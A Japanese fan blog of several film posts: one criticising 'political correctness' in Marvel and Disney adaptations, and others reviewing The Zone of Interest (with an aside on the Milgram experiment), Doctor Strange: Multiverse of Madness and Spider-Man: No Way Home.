ジェンダー論やポリコレが及ぼす映画製作への影響
こんにちは。ついに5日後にThunderbolts*が公開されます。試写会の前評判が思ったよりも良さそうなので期待が高まる反面、最近のMCU(ひいてはDisney)の低迷っぷりには心底呆れていることも事実です。
今回はその低迷の原因の1つとも言える、政治やジェンダー論が及ぼす映画製作への影響についてメモします。ちなみに、Thunderbolts*最速上映のチケットはしっかり抑えました。
今の映画界で起きていること
さて、ここ数週間で話題になったニュースをいくつか取り上げます。
今年夏に控えたMarvel新作映画「Fantastic Four: First Steps」に出演予定の俳優陣インタビューと、それに対するファンの意見が話題になりました。
端的に要約すると、ベネッサ・カービーを始めとする主演俳優陣が、今作を通じてGender Politicsを訴える作品にするという記事。ヒューマン・トーチ演じるジョセフ・クインも、女性関係がだらしない原作のキャライメージは現代のヒーロー像にそぐわないとして、時代に沿った新たなキャラクター像で演じるとのこと。
Vanessa Kirby Confirms 'Fantastic Four: First Steps' Explores Gender Politics With Sue Storm
記事タイトルも少し大げさな表現が使われている気がします。記事をしっかり読むと、俳優陣も過剰にポリコレを意識しているわけではないのかなと思いますが、SNS上ではこのインタビューに批判が多く寄せられています。
「原作の設定を尊重し、シンプルに良い映画が作れないのか」「ここ数年の映画業界はプロパガンダ化している」「MCUはエンドゲーム以降見る価値がない」など...
実写版「白雪姫」では、オリジナル版とは異なる現代的なアプローチや主演のレイチェル・ゼグラーの発言が物議を醸し、とんでもない赤字を叩き出す中、更なる追い打ちをかけるような一件でした。
さらに、新たに製作が決定したハリーポッターのドラマシリーズのキャスティングが発表され、スネイプ役を黒人俳優のパーパ・エッシードゥが演じることが報じられました。原作に忠実な作品( “being authentic to the original books.”)を重きにおいて制作が進められているとのことでしたが、小説に白人と表現されているスネイプに黒人俳優が起用されたことで物議を醸しています。
問題の共通点
これらの件に共通しているのは、全て原作がある作品だということ。やはり原作から大きな変更がある実写化はファンには好かれないでしょう。ましてやポリコレを意識しているのが見え見えの変更は、より原作ファンをがっかりさせてしまいます。
実写版「美女と野獣」にエマ・ワトソンが起用され、原作に忠実に表現が大ヒットしたように、良い意味で安直なキャスティングでシンプルに製作できないものなのでしょうか。(エマ・ワトソンもかなりフェミってたので紙一重ではある)
表現の自由は常に尊重されるべきものですが、原作のある作品についてはその世界観を実写やCGで表現することが主題に置かれるべきであり、原作の重要な要素を改変してまで現代の社会問題を訴えかけるのは、少し感覚がずれているような気がします。
もっとも、コアの制作陣たちは原作をリスペクトして作ろうとしている(はず)とは思いますが、スポンサーや外部からの圧力によって変更せざるを得ない状況になってしまっているのかもしれません。
加えて、制作側は俳優陣のお気持ち表明を多少マネジメントするべき。白雪姫の件をはじめ、制作側が意図しない形で俳優陣が自らのSNSでお気持ち表明→炎上というケースが多すぎる。リーク等もこれに含まれるかと思いますが、せめて映画公開後に意思表明してほしい。今回のF4も、予告だけならむしろ好評でここまで荒れることはなかったはず。
「感動」のメカニズム
みなさんは映画の登場人物のどんなシーンや演技に感動を覚えますか?様々な答えがあると思いますが、その感動の多くは登場人物の「差分」や「ギャップ」から生まれるものだと僕は考えています。簡単に言うと、「ジャイアンがのび太を助けること」です。普段はいじめっ子で独りよがりなキャラクターが、ここぞというタイミングで仲間を助ける「差分」に僕たちは感動を覚えるのではないでしょうか。クライマックスでドラえもんがのび太を助けても、それはキャラクター像からして安易に想定できる行動なので、そこに深く感動を覚えることは少ないと思います。
ポリコレやジェンダー論が映画製作に過度に反映される場合、この「差分」や「ギャップ」を表現しにくくなるのではないかと思います。乱暴なキャラクターのセリフがマイルドになったり、現代のジェンダー問題を彷彿とさせる暴力シーンなどがカットされることにより、作品を通じてキャラクターの成長が見えづらくなってしまうのではないでしょうか。差分が減ることにより、キャラクターの予期せぬ行動や成長に意外性がなくなり、感情移入しにくい(=感動しにくい)現象が起きてしまうことは個人的にとても残念です。普段から優しいジャイアンを、視聴者は求めていないのです。
MCUへの影響
Marvel Studiosにもここ5年強でかなりジェンダーを意識したキャスティングにシフトしているように見えます。2019年のAvengers: EG以降、初期のアベンジャーズメンバーを継承する作品が多く制作されましたが、2代目の多くは女性ヒーローとなっています。ケイトビショップ、エレーナ、シーハルク、アイアンハート、ブラックパンサー。加えてミスマーベル、モニカ、エコー、キャシー、クレアなど、マルチバースサーガで誕生した新ヒーローも多くが女性です。今EGのようなアッセンブルが起きたらほとんど女性なのでは...?
エターナルズでは、記憶する限りMCUでは初の同性愛者のヒーロー、ファストスが誕生しました。同作ではセックスシーンも描かれていて、MCU史上でも初めての描写が多いように感じます。
女性ヒーローが活躍するシーンはもちろん大好きなのですが、平場のアクションでは男同士の方が動きや迫力などリアリティがあるなと個人的に感じます。Captain America: WSの時のようなアクションがもう一度見たいというのが率直な感想です。その点に関してはThunderbolts*はとても期待しています。バッキ―やレッドガーディアンの丸腰のアクションに注目したいです。
まとめ
Marvelや白雪姫をはじめとして、このような問題が起きているのは、「ディズニー」という看板を背負っていることも大きな原因の1つだと思います。古い原作をモチーフに制作する作品が多く、「世界中の人々を楽しませて感動を届ける」ディズニーの理念を守るうえでは、時代の目を考慮せずには制作できないのかもしれません。
SNSによって世界中の人々が表現の自由を手にした反面、映画業界の一部ではポリコレやジェンダー論に沿った表現が強制されてしまっているような状態です。
ハリウッドではこれに加えて低賃金労働やストライキなど課題が山積みですが、ディズニーはじめケヴィン・ファイギにはAvengersまで頑張ってマルチバースサーガを締めてもらいたいです。
Fantastic Fourが原作ファンにとって良い作品になりますように...
映画「関心領域」〜無関心とミルグラム実験について
※本記事は映画「関心領域」のネタバレを含みます。
映画『関心領域 The Zone of Interest』オフィシャルサイト 2024年全国公開
久しぶりに記事を書きます。関心領域という映画を見た。劇場内の空気が終始重すぎて、慎重にポップコーンを食べた。ポップコーンの咀嚼音に気を使ったのは初めてかもしれない。エンドロールが始まると何人か席を立つ人がいるけれど、全員口半開きで静かに最後まで鑑賞してた。以下感想。
あらすじ
空は青く、誰もが笑顔で、子供たちの楽しげな声が聴こえてくる。そして、窓から見える壁の向こうでは大きな建物から黒い煙があがっている。時は 1945 年、アウシュビッツ収容所の所長ルドルフ・ヘス(クリスティアン・フリーデル)とその妻ヘドウィグ(ザンドラ・ヒュラー)ら家族は、収容所の隣で幸せに暮らしていた。スクリーンに映し出されるのは、どこにでもある穏やかな日常。しかし、壁ひとつ隔てたアウシュビッツ収容所の存在が、音、建物からあがる煙、家族の交わす何気ない会話や視線、そして気配から着実に伝わってくる。壁を隔てたふたつの世界にどんな違いがあるのか?平和に暮らす家族と彼らにはどんな違いがあるのか?そして、あなたと彼らとの違いは?
(引用: https://filmarks.com/movies/109468)
聴覚で訴えてくる映画。残虐な描写は一切なく、平和な家庭の生活の裏で、奇妙な声や銃声が鳴り響く。直接的な表現を避けることにより、聴覚だけで視聴者に中の様子を想像させる。BGMや絶妙な間と背景、とにかく怖い。
登場人物によって関心領域に個人差があるのが興味深かった。家族の中でもグラデーションがあり、途中で家に住むことになった祖母は中で起きている様子を理解して逃亡した様子。その対極に位置していたのが母親で、彼女は一切の関心が外に向いていない。
妻: ザンドラ・ヒュラー
奇妙な音とともに、灰色に近い無地の画面が長時間流れる映画の冒頭。どこかで見たことがあるお母さんだなと思ったら、ザンドラ・ヒュラーだった。落下の解剖学での彼女の演技は記憶に新しい。夫の殺害容疑をかけられたミステリアス(というかキテレツ)な母親を演じており、作品は96回アカデミー賞で脚本賞を獲得。彼女も主演女優賞にノミネートされていた。最優秀はPoor Thingsのエマ・ストーン。
彼女はこの映画において、最も関心領域から外れたキャラクターを演じていた。理想の子育てができる環境を手にした彼女は、自分と家族の生活で頭が精一杯。祖母や子供は、少なからず周囲の異変に気づき始めている中、「見てみぬふり」ではない無関心領域にある。
サーモグラフィー
劇中に何度か、サーモグラフィー越しに撮影された映像がある。幼い子どもが収容所の手が届くところに等間隔で林檎を埋めている。命がけで中の収容者に物資を届けるシーンは、独特な緊張感があった。結局その林檎は収容者同士の取り合いとなり、看守に見つかった人々は殺されてしまう。その描写は白昼の壁越しにセリフだけで描かれており、かなし残酷なシーンだった。家族の息子も、収容所に林檎を与える子どもを認識しており、彼なりに中で起きている様子を理解している様子だった。
アイヒマンとミルグラム実験について
作中に描写はないが、映画を通じてアイヒマンとミルグラム実験の存在を知った。浅い知識のため間違っている可能性あり。
アドフル・アイヒマンは、「ユダヤ人問題の最終的解決」を担っていた人物で、数百万人に及ぶ強制収容所への移送及び処刑を指揮した人物。アイヒマンは、収容所の移送及び処刑のプロセスをいかに機械的に行わせる(=軍人に罪悪感を持たせずに遂行するか)設計したことで知られている。こんな映画もある。
このアイヒマンが設計した処刑システムから、心理学の分野でミルグラム実験(別名アイヒマン実験)が誕生した。実験内容は以下のようなものである。
実験は大まかにいうと以下のようなものです。「体罰と学習効果の測定」で80名が被験者として参加し,隣室にいる生徒役の回答が間違うたびにより強い電気ショックを与えることを要求されます。もちろん,生徒役に電気は流れていないので苦しんでいるふりをしているだけです。うめき声がやがて絶叫となっても被験者は実験者が「大丈夫です」と言うのにこたえて強くし続けました。最終的に65%の参加者が命の危険がある450Vのショックを与えることになりました。ミルグラムはこの実験をさまざまな状況で行いましたが,61~66%の範囲の人たちが致死の電気ショックを与えたということがわかっています(Blass,1999)。(参照: https://psych.or.jp/interest/mm-01/)
このような機会を経験していない一般的な人間の価値観では、このような結果になることは信じがたいと思う。権威や責任保護によって深刻な暴力的行為が可能な人間が65%も存在するということは、個人的に非常に興味深い内容だった。
おわり
オッペンハイマーに続いてセンシティブな内容を扱う映画をみて、歴史的な背景を勉強するいい経験になった。なぜこのタイミングでこの映画が制作されたのかはわからないが、これこそ映画でしか経験できない体験なのかもしれない。
ちょっとディープなドクターストレンジMoM感想・考察・小ネタ
※ドクターストレンジMoMに限らず全てのMCU作品のネタバレを含む可能性があります。
不安が的中したとまでは言わないけれど、個人的に素直に良かったとは言えない作品でした。賛否両論かと思いきや、Twitterを見るとほとんどの人が大絶賛していて少しびっくり。
例年5/4はスターウォーズの日だけれど、今年はMarvelの年。Moon Knightの最終話とどちらを先に見るか迷ったが、ストーリー的にストレンジに関わることはなさそうだったので、10:00~新宿で見てきた。
結局Moon Knightは最終話含めて個人的に面白かった。今月末から始まるオビワンの最新トレーラーも公開された。楽しみ。では考察。
全体的な感想
Multiverse of Madness -> ScarletWitch of Madnessって感じ。
"映画"としての評価は高いのかもしれないが、"MCU"的な評価では個人的にかなり低い。ストレンジ本人のストーリーももう少し描いて欲しかった。なんというか、MCU全体で見ると、1周まわって孤立した作品なのではないでしょうか。
僕らが見てきたワンダではない(悪い意味で)。本当に最強で最狂で最凶だった。AoUでホークアイにお尻を叩かれて戦っていた彼女から、だれか今作を想像したでしょう。裏に大ボスがいることもなく、本当にワンダがヴィラン。そして報われない。悲しい。契約更新の噂もあるので、おそらく死んでいないとは思うけど...。今作のワンダに関しては色々と思うところがあるので後述。
アクションシーンに関しては、良くも悪くも想像通りだった。IWでのサノス戦みたいなクールさがもう少しあっても良かったかも。音符のシーンとかは好き。 ストーリー構成は、トレーラーから予想していた展開とだいたい同じ。アメリカチャベスは良いキャラだった。オリジンがもっと気になる。The Marvelsで出演するのかな?今後が楽しみ。
今までにないテンポ感とホラー要素
普段のMCUの展開では見ない新しいテンポ感だった。トビー版スパイダーマン以外のサムライミ映画は見ていないが、SNSを見る限り「サムライ味」が深いらしい。
ワンダが初手からヴィランだったり、ダークホールドやヴィシャンティの書があっさり燃えてしまったり、行く先々のユニバースのストレンジがやばかったり... 物語の方向性を決める鍵となるモノが非常に速いテンポで切り替わっていく構成で、飽きずにみられて面白かった。
そして思っていたよりワンダがホラーw Moon Kightも然り、MCUにしてはかなりグロ演出が多かった。防火扉のシーンでは、横で見ていた友達が飛び上がっていた。Morvius、Moon Knight、今作とダークな作品が続いたので、それぞれのホラー要素が体験できてよかった。
MCUからみた今作
正直今作では、エンドゲーム後から様々な方向に広がっている大量の伏線たちを、少しでもいいから回収してほしいと思っていた。ロキやアガサの単体作品につながっていくのかなーとか思っていたんだけど、結局ポストクレジットでさらに新キャラ(クレアかな?)が出てきて終わった。
まあでもアイアンマン1からエンドゲームまでの10年スパンで考えると、まだまだ膨らませ続けてもいい段階なのかなと思えてきたのも事実。そんなに伏線回収を焦って期待する必要はまだないのかもしれない。
ストレンジ3は、おそらくクレアとインカ―ジョンを直す話になる。しかし未だに多くのMCUファンに残る疑問は、ドラマLokiで描かれたマルチバースと、魔術界のマルチバースの位置関係でしょう。ロキとシルヴィによって壊れた神聖時間軸の現象も、今作で言うところのインカ―ジョンに近いのかな?と思ったり。
そういえばつい最近ケヴィンファイギが、NWHの1件とロキの現象が関連していることを認めている。ここら辺についてはAnt Man3か、Lokiのシーズン2あたりで少しずつ明らかになっていくでしょう。本来であればTVAにとってアメリカチャベスはかなり厄介者なはず。彼らは彼女を認知しているのかな?
ワンダの扱いについて
ドラマWandaVisionのストーリーライン、ガン無視してない?
そう感じたのは僕だけ?さらに闇落ちするのはいいとして、あんなに残虐で冷酷になる必要ある?イルミナティを惨殺する動機は彼女にはないはずなのに...
彼女がウェストビューの1件から何も学んでないのが残念すぎた。ダークホールドの副作用(?)とはいえ、ドラマでの失敗を踏まえた多少の葛藤はあってもよかったのでは?
ドラマの終盤ではスカーレットウィッチとして覚醒したものの、自分の現実と向き合うことを決意して結界を解いた節はあったと思っていた。ビジョンが今作のワンダを見たら...と思うと、悲しい気持ちになる。 存在しない(自分のものにはならない)家族や子供を2度も追い続けたワンダ。流石に懲りたっぽいけど、彼女は生きているのかな?一体いつになったら報われるんでしょうか。
イルミナティ惨殺事件
予告で情報を出しすぎていたせいで、登場シーンに特に驚きはなかった。最初のトレーラーで十分だったよね。なんでカーターまで出しちゃったんだろう。そして予告では情報なしだったMr.ファンタスティックとブラックボルトの登場には大興奮。異色のイルミナティが見られるかと思いきや、2分後には惨殺。
これ言わせときゃ喜ぶだろ感満載の「I can do this all day」からのシールドで胴体真っ二つ。ダースモールかよ。ペギーであっても、キャップをあんな殺し方で終わらせてほしくなかった。イルミナティ本当に言葉通り噛ませ犬で、あのレベルなら登場させなくても良かったのではと思うレベル。溝から出られないモルド、あれでどうやってサノス倒したん...
「なら母親が育てればいいわ」
ワンダがMr.ファンタスティックに吐き捨てた言葉で個人的には非常に印象的だった。ヴィジョンという存在を失った彼女がなぜそんなセリフを吐けるのか不思議で仕方がない。ワンダが見ていたどのユニバースにもヴィジョンの姿はなく、そこに言及するような発言もなかった。別ユニバースのビジョンとかが出てきてくれても面白かったかも。
プロフェッサーXとワンダの精神世界
チャールズが扉を開けた先の空間には、ワンダが幼少期に生き埋めになっていた瓦礫とシットコムが映るテレビがあった。中には良心のワンダ(?)が大人の状態で生き埋めにされており、チャールズが助けようとするがワンダに飲まれて首を折られてしまう。
チャールズがあんな形で死ぬのは見たくなかった。それにしてもあのワンダはなんだったんだろう。善な人格はまだ残っているのかもしれない。
クレアの登場
ストレンジ本人のストーリーがあまり描かれなかった中で、クリスティーンとの関係性は1つ区切りがついた。原作ではストレンジの妻となり、ソーサラースプリームを継ぐ2代目ドクターストレンジでもあるクレアがポストクレジットで登場。ポスターの破片に写っていた謎の女性は彼女だった。紫色のナイフで切り裂いた先には、ストレンジ1で見た暗黒次元の世界が広がっていた。確かクレアはドルマムゥの姪(?)だったはずなので、そのあたりとつながってきそう。
ストレンジも3部作だとすると、次回作で彼女が継ぐストーリーになっていくんでしょうか。おそらく3,4年後の話なので、どうなっているか楽しみ。
感想まとめ
監督のサムライミはMCUを数本しか見たことがないようだし、彼が本当に好きなようにやったんだなと。ワンダがどんな形でクライマックスを迎えるかドキドキしていたけれど、結局WandaVisionで見た既視感のある心情というか、2回同じことを繰り返している感が否めなかった。あとMCUのモルドは何してるのかな?初回作品の伏線が全く回収できていないけれど。
マルチバースの概念を主題に扱った初めての作品だったが、この感じだとLokiシーズン2やAnt Man3が心配。早くThor L&Tを見て落ち着きたいところ。
以下小ネタ・気づき
ガルガントスのバスシーン
IWでのNY戦のオマージュ
アガモットの目
NWHでタイムストーンは存在しないと明言していたので、アガモットの目を何に使うのか気になっていた。ガルガントスを可視化したり、次元の交差点への鍵を開けるときに使用していたところを見ると、アガモットの目(ケース)自体にも効果がありそう。特に仕組みに関する言及はなかった。
魔法道具の小鉢
クリスティーンがストレンジの悪霊を退治するのに使った小鉢のような道具は、ストレンジ1でストレンジがカエシリウスとの戦闘中にとっさに手に持った道具と同じ。別のユニバースのクリスティーンは小鉢を使いこなして悪霊退散していた。
三つ目がとおる
スカーレットウィッチ以外がダークホールドを扱うと代償を伴う。シニスターストレンジが言っていたとおり、MCUのストレンジにも第3の目が開眼した。ポストクレジットでは既に共存しているような雰囲気だったが、人格も別なのだろうか。個人的にあの見た目は好きではない。
ちょっとディープなドクターストレンジMoM予告考察
Marvel作品(MCU以外の映画やコミックを含む)に関する多くのネタバレを含みます。
スーパーボウル開催と同時に映画の新情報が公開されるのは慣例なので覚悟はしていたが、ここまで情報量過多でやばい作品だとは思っていなかった。NWHの余韻に浸っている場合ではなくなってしまった。長くなるので早速考察していきます。
初見の印象
大いなる力に大いなる責任が伴い過ぎている。
ストレンジかわいそう。責任負いすぎ。
最初見たときは情報過多すぎて今までのMCUの予告の中で一番理解できなかった。VFXのクオリティは相変わらず高いのと、"FROM DIRECTOR SAM RAIMI"が序盤でアピールされているのが新鮮だった。サムライミが監督ということで、トビーマグアイアが出演する噂があるのも納得がいく。
今作ではストレンジが3人、ワンダが2人出てくると思われる。それぞれの役割については後で触れる。映像ではマルチバース間を移動できる能力を持つアメリカチャベスが目立っており、彼女と様々なユニバースを行き来して修復を試みるシナリオになりそう。ニューヨークでフリーメイソンみたいな怪物が投げるバスを2つに割るシーンは、IWでの戦闘シーンを思い出させるいいオマージュ。そもそも戦闘がミラー次元ではない時点でやばさが伝わる。
NWHとの関連性
そもそもなぜマルチバースの扉が開いてしまったのかに関してだが、要因はNWHの1件だけではなさそう。実は、そもそもの公開順はMoMが先で、そのあとにNWHだった。MoMでマルチバースの扉が開き、NWHでスパイダーバースが実現するのが当初の流れだったと思うが、コロナによる撮影の影響で急遽脚本が変更になったそう。当初の予定の方が流れ的に自然だし。つまり本来は別の要因でマルチバースの扉が開くはずなので、NWHの1件との関連性はあまりないと思う。
この別の要因は、ドラマワンダビジョンのラストシーンでアガサが言った「あなたは何を解き放ったのかわかっていない」というセリフと関係があるかも。予告の冒頭でストレンジが操っている赤い魔術も、ワンダの魔術と似ている。
ワンダがヴィラン...?
ワンダを演じるエリザベスオルセンは、今作でMCUとの契約が終了するのではないかと以前から噂されている。予告では2人登場しており、おそらくスカーレットウィッチの服を着ているのがMCUワンダ、私服が別のユニバース。ストレンジに対して不公平だと訴えるMCUワンダに加えて、ウェストビューの自宅で絶望するMCUワンダに手を差し伸べる私服ワンダの姿も。最後のシーンで血だらけの私服ワンダもいることから、最悪2人ともヴィランになってしまう可能性もある。
仮に今作でワンダが死んでMCU解約となると、今までで最も不遇な人生を歩んだヒーローになってしまう。スタークの武器で親を殺され、ヒドラの人体実験に志願し、ラゴスでのミスがソコヴィア協定の火種となる。そしてIWで最愛のヴィジョンを失い、その悲しみからウェストビューで更なる過ちを犯してしまう。最後はマルチバースのヴィランとしてストレンジに殺されるとなると、さすがに可哀想。ワンダ好きとしてはちょっとこの展開は避けてほしい。ワンダビジョンの最後では、子供に助けを求められて終わるので、別のユニバースまで子供を探している説はありえる。
ただ今作でワンダが死んだとすると、ウェストビューに監禁されているアガサが解放され、単独ドラマにつながる流れは安易に予想できるため、全然あり得る話だと思う。辛いな。
3人のストレンジ&予告ラストシーン
予告ではMCUストレンジと「手に負えない」ストレンジの2人だったが、スーパーボウルTv Spotの映像では、赤交じりの服を着た3人目の丸刈りストレンジが登場している。そしてラストシーンではハリーポッターのディメンターを彷彿とさせる黒い物体と融合している。顔もヴォルデモートみたいだった。問題はどのストレンジがディメンターと融合しているのかというところ。ウォンが叫んでいるので、もしかしたらMCUストレンジなのかもしれない。全てを解決するためにやむを得ず行ったのかも。
また、アガモットの目を付けているのはMCUストレンジだけっぽい。中身が入っていない目をなぜつけているのかは不明だが、IWやEGの時より位置が上がっている。
スパイダーマンの考察でも書いたように、NWHについてどこまでストレンジが記憶しているかも注目ポイント。カフカルの魔法陣を唱えたことは憶えていても、誰を忘れるために使ったのかは憶えていない感じかな。
ちなみに「手に負えない」ストレンジは、字幕でSINISTER STRANGEと名付けられている。
"椅子の男"は誰なのか
予告中盤にて、手錠をかけられウルトロンらしきロボットに連行されるストレンジ。そして6つの椅子が印象的な広間に案内され、後ろ姿の男が"We should tell him the truth."と発言する。おそらくこのシーンを世界中のファンが考察しているでしょう。暫定ではあるが、この声の主はX-MENで登場するプロフェッサーX。これはマジで大盛り上がり。確かにX-MENを登場させるのは今作がもってこいだと思う。
そしてプロフェッサーX率いる6人のチームといえば、原作コミックで登場するイルミナティだ。イルミナティはクリー人とスクラル人の戦争で地球が被害を受けたのちに作られたヒーローチーム。原作初期メンバーは、ミスター・ファンタスティック、アイアンマン、ネイモア、ブラックボルト、ドクター・ストレンジ、プロフェッサーXの6人である。イルミナティのMCU参戦に関しては後述する。おそらくこのシーンは別のユニバースだが、トムクルーズがトニースタークとして出演する噂もこれで信ぴょう性が高くなったのでは?
個人的な意見としては、絶対にトニースタークだけはカメオで出演してほしくない。EGは彼のための作品で、最高の締めくくり方をした以上、もう二度と出てこないでほしい。
この人、誰?
予告終盤にて私服ワンダと戦っているのは一体誰なんでしょうか。個人的に候補はこの3人。
1. ヒューマントーチ
ファンタスティック4(以下F4)のキャラクター。昔の映画ではクリスエバンスが演じていた。今後のイルミナティ参戦を考えると、F4リーダーのミスターファンタスティックに加えて、ヒューマントーチが出てきてもおかしくない。流石にクリエバがやることはないと思う。
2. キャプテンマーベル
MCUのキャプテンマーベルか別のユニバースかは分からないけれど、今作はどのヒーローが出てきてもおかしくないので、ビジュアル的に彼女である可能性は高い。
3. アメリカチャベス
彼女はまだ設定や能力が未知であるものの、マルチバース間を移動できることや、パンチから出る謎の爆発からかなりのポテンシャルを感じる。キャプテンマーベルの2作目であるTHE MARVELSにも出演予定(だったはず)のため、候補3として挙げておく。
What if...?
街のビルが砕けている描写や闇落ちするストレンジなど、What ifと酷似しているシーンが多い。さらに同時公開されたポスターには、粉々に散りばめられたガラスの中に、What ifで登場した様々なシーンが描かれていた。まさかここまであのアニメがかかわってくるとは。Season2も楽しみ。
ヴィジョンはマルチバースを認識していた
個人的に胸が熱くなったポイントとして、マルチバースについてワンダがヴィジョンから話を聞いていたということ。ストレンジがワンダにマルチバースについて聞くシーンで、日本語字幕では「私が聞いたのは、危険すぎるということ」と訳されているが、実際は"Vis had his theories. He believed it was dangerous."と発言している。"Vis"はワンダがヴィジョンを呼ぶときの愛称であるため、彼から話を聞いていたことが分かる。ドラマではヴィジョンの記憶は新ヴィジョンにコピーされているため、何かしらつながりはあるのかも。MoMでは出演しないと思うけど、今後ヴィジョンがどう関わるかとても楽しみ。
その他気になったところ
・カマタージにいた角生えてるキャラは誰なのか
・ウォンは至高の魔術師としてどう立ち回るのか
・モルドは何人いてどうヴィランになるのか
まとめ
味方と敵の判断が出来ないところが、この作品をより面白くしている点だと思う。最大の敵はストレンジなのか、ワンダなのか、モルドなのか... 3つの派閥があってもおかしくないと思う。また、事前知識としてDisney+のドラマ視聴がマストな映画は今作が初めてなので、さらに視聴者をふるいにかけているなと。今後のMCUにとって大きな大きなターニングポイントになる作品であることは間違いない。2時間で終わるのかという感じはするが、サムライミならきっと僕らの期待以上に仕上げているでしょう。
MoMの考察はこれくらいにして、最後にイルミナティのMCU参戦についてと、予告と同タイミングで公開されたMoon Knightの映像について述べる。
[番外編]イルミナティのネイモア、実はエンドゲームで...
ネイモアは、原作ではアトランティスという海底王国の王らしい。ヴィランとしてX-MENやアベンジャーズと戦うこともあれば、その後和解してイルミナティのロースターになる自由なキャラである。
実はエンドゲームにはネイモアの伏線が。スコットがアベンジャーズの基地を訪ねる直前に、ナターシャがキャロルやロケットなどと進捗状況を報告するシーンがある。そこでオコエが、海底で地震があったと報告しているのだ。当時はただの地震として片付けられているが、今年末公開のWAKANDA FOREVERではヴィランとしてネイモアが登場すると言われており、イルミナティ参戦の日は意外と近いかもしれない。
[番外編]Moon Knight新映像
MoMの予告に気を取られている中、しれっとMoon Knightの新映像も公開された。戦闘シーンが数秒あり、三日月の形のマントで戦っていた。かっこいい。イーサンホークの腕には動く天秤が彫られていたけれど、彼は一体何者なんでしょう。
Moon Knight、MoMに加え、モービウス(SSU)やバットマン(DC)など、ダークな雰囲気のヒーローが立て続けに公開されるので、とても楽しみ。ファンタビもあるし。マッツミケルセンがジョニーデップの代役を引き受けてくれたことにみなさん感謝しましょう。ちなみにマッツミケルセンはストレンジ1のヴィラン、カエシリウスを演じていた俳優です。お疲れさまでした。
ちょっとディープなスパイダーマンNWHの考察と今後のMCU
スパイダーマン含めMCU作品に関する多くのネタバレを含みます。
スパイダーマンの新作を生きがいに去年の年末は生活していた。アメリカでは12/18あたりに公開されていたので、SNSでネタバレを踏まないように最大限努力した。最速上映は神。
総評
とりあえずめちゃめちゃ楽しめた。言葉通りNo Way Home。こちら側が期待していたものが完全に再現されていた感。ストーリーだけ見ればピーターがただ大やらかしをしただけなんだけど、キャストはもちろん伏線や演出で大満足だった。興行収入もだいぶいいところまで行きそう、ちょっとずるいとは思うけど。
個人的に特に良かったのは、トビーとアンドリューのストーリーも作中で結構とりあえげられていたところ。トビーとドックオックが再開するシーンとかかなり泣けた。
最終的にはピーター・パーカーという人間そのものが存在しなかったことになって、他のヒーローとの関係は白紙に戻ったけれど、今後もMCUとトム・ホランドの契約は続くそうで、今後の関わり方もあとで書く。アメスパ3も作られる噂も。
作中の気になった小ネタいろいろ
まさかのデアデビル
ホークアイでキングピンが出てきたので、デアデビルはECHOあたりで出てくるかなと思っていたけれど、まさかここで出てくるとは思っていなかった。今作はあのワンシーンだけだったけど、背後のレンガキャッチから漂う強キャラ感は最高だった。多分ECHOで出てくるんじゃないかなと。キングピンはまだ生きてると思う。
タイムストーンは存在しない
エンドゲーム以降、インフィニティストーンがないことを言い切ったセリフはこれが初めてな気がする。MCU的には地味に大事なセリフだと思う。なぜ空のアガモットの目をつけているかは不明。ストレンジ2の予告を見る限りつけている位置が上下していてそれも謎。
ナノテクノロジーの設定
数十年前からやってきたドックオックがナノテクノロジーを認知していた件について。実はトビー版スパイダーマンでオズボーンが書いたナノテクの論文を読んだというセリフがあって、ドックオックがすんなりナノテクを理解していたのも納得がいく。細かい。
You know, Im something of a scientist myself.
スタークのクラフト装置でオズボーンが言ったセリフ。トビー版スパイダーマンでも同じセリフを言ってた。
With great power comes great responsibility.
MJかメイおばさんのどちらかは死んでしまう設定だとは思っていたけれど、なによりあのシーンのハッピーが辛い。ラストのお墓でもだいぶ病んでいたので、心配です。
ネッドについて
まさかネッドが2人を集める展開になるとは思っていなかった。彼が魔術の家系というのは冗談ではないのかもしれない。ピーターの親友(過去形)なので、なんらかの形でヴィランになってしまう可能性もあるかも。
アンドリューのMJ救出
説明不要。泣いた。
トムホがゴブリンのトドメを指すシーン
あれはファルコン&ソルジャーでジョン・ウォーカーが死んだ味方の仇で敵を殺すシーンのオマージュだと思う。シビル・ウォーのキャプテンとスタークのオマージュとも言えるのかな。トムホに体を張って背中を見せるトビーとアンドリューの先輩感が終始良かった。
MJのネックレス
記憶がなくなったあとに訪ねたバイト先で、MJはピーターがFar From Homeでプレゼントしたネックレスをつけてた。どこか彼女が彼を覚えているような表情をしたのは気の所為?
パルパティーンのレゴ
ラストシーンでピーターが新居の棚においたレゴは、Home Comingでネッドと作っていた(破壊された)デス・スターのレゴのときにいたやつ。スターウォーズファンでもあるのでテンションあがる。
クラッシックスーツとクリスマスツリー
最後の最後でクラッシックスーツになってるのは大興奮。その後映ったのはホークアイの舞台になったクリスマスツリーとスケート場。ホークアイであのツリーは倒れているので、時系列的にはその前だとわかる。
ヴェノム
飲んだくれのまま元の世界に帰っていった。残ったシンビオートのかけらがMCUでどんな役割を果たすのか非常に楽しみ。早ければSheHulkで出てくるのでは?と期待している。
気になる不明点・伏線
元のユニバースには帰れず、「剪定」祭り?
スパイダーマン達はMCUに来てしまったヴィランを全員更生させて元のユニバースに戻したので、本来昔のスパイダーマンで描かれたものとは違う時間軸が発生する。ロキのドラマに基づけば、全員TVA送りにされて剪定されるという元も子もない結末になる。ただ、ロキでは神聖時間軸はMCUの1本で、他のユニバースをTVAがどう管理しているかに関しては触れられていないため、正直なんとも言えない。ロキに関してはアントマン3まで放置されると思うので、待つしかない。ロキの出来事が時系列的にいつなのかもわからない。ストレンジはTVAを認知するような発言はしていないため、今後TVAとマルチバースに関してどう話をまとめるのかが非常に気になる。
SWORDの宇宙基地はいつ出てくるのか
FFHのエンドクレジットで出てきた宇宙基地が、かれこれ2,3年放置されている。ワンダビジョンでモニカが連れて行かれたくらいで、実際の様子が一向に現れない。今作のエンドクレジットで出てくるかなと思いきや、ストレンジ2の予告だったの見られず。Secret Invasionまでおあずけかな...?
ストレンジの記憶
ストレンジの予告を見る限り、マルチバースの扉が閉まりきってなかったとかいう展開だと思う。が、呪文を唱えた本人すらピーターの存在を忘れているため、どう現状把握をするのか...というところ。個人的にエリザベス・オルセンが好きなので非常に楽しみ。
今後のMCU
トムホの関わり方
個人的に有力(願望)だと思っているのが、Ironheartでの再登場。Ironheartの主人公のリリ・ウィリアムズはMITの生徒であることわかっていて、スタークの母校でもある。ネッドとMJがMITにいる時点で、彼らとの関わりは十二分にありえるし、高卒認定をとったピーターが入学したとすれば、可能性は高いと思う。スタークと師弟関係だったピーターが、2代目アイアンマンを助ける流れがあったら泣いてしまう。ぜひやってほしい。
ウォンの立ち位置
